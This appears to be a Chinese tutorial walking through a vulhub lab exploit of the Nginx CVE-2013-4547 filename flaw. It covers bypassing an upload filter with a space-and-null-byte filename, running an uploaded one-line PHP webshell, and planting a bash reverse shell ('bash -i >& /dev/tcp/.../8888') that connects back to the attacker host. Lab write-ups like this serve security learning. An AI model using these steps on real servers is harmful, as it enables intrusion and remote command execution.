Nginx教程

Nginx CVE-2013-4547文件名逻辑漏洞

本文主要是介绍Nginx CVE-2013-4547文件名逻辑漏洞,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

Nginx CVE-2013-4547文件名逻辑漏洞



漏洞原理:传送门

实验环境

主机角色IP
centos8漏洞靶机192.168.1.80
windows10攻击机(burp)192.168.1.120

实验流程

开启漏洞靶机centos8

# 切换到vulhub目录
cd /usr/sbin/vulhub/nginx/CVE-2013-4547
# 开启docker服务
service docker start
# 创建docker镜像
docker-compose build
# 启动docker镜像
docker-compose up -d

上传一句话木马

尝试访问漏洞页面:

image-20210518192606676

上传一个php文件:

image-20210518192700751

如图所示,不支持该文件类型。

于是在burp中将文件名改为shell.php++,再用十六进制改为shell.php[0x20][0x00],然后再次上传:

image-20210518192216760

image-20210518191927529

如图所示,上传成功。

在浏览器中直接访问http://192.168.1.80:8080/uploadfiles/shell.php%20%00是失败的,于是我们用burp访问。

同样的道理,我们访问该文件,然后用burp抓包,在burp中将数据包的url改为/uploadfiles/shell.php[0x20][0x00].php,发送数据包。

image-20210518192128064

image-20210518192016747

如图所示,文件中的代码被成功解析为php,phpinfo()成功执行。

同样的道理,也可以上传一句话木马:

image-20210518194733201

然后去访问木马文件,并传入参数:

image-20210518195156967

如图所示,成功会显出命令执行结果。


反弹shell

先上传一个qianxun.png,内容为bash -i >& /dev/tcp/192.168.1.120/8888 0>&1,作用是为windows主机反弹一个shell。

image-20210518195623637

我们访问之前上传的木马文件,列出当前目录下文件列表:

image-20210518195656119

再用mv命令将qianxun.png,改名为qianxun.sh:

image-20210518195745832

image-20210518195812346

现在windows10主机本地开启一个端口监听:

image-20210518200007183

利用木马文件执行qianxun.sh:

image-20210518195926192

image-20210518195955853

如图所示,成功反弹shell。

这篇关于Nginx CVE-2013-4547文件名逻辑漏洞的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!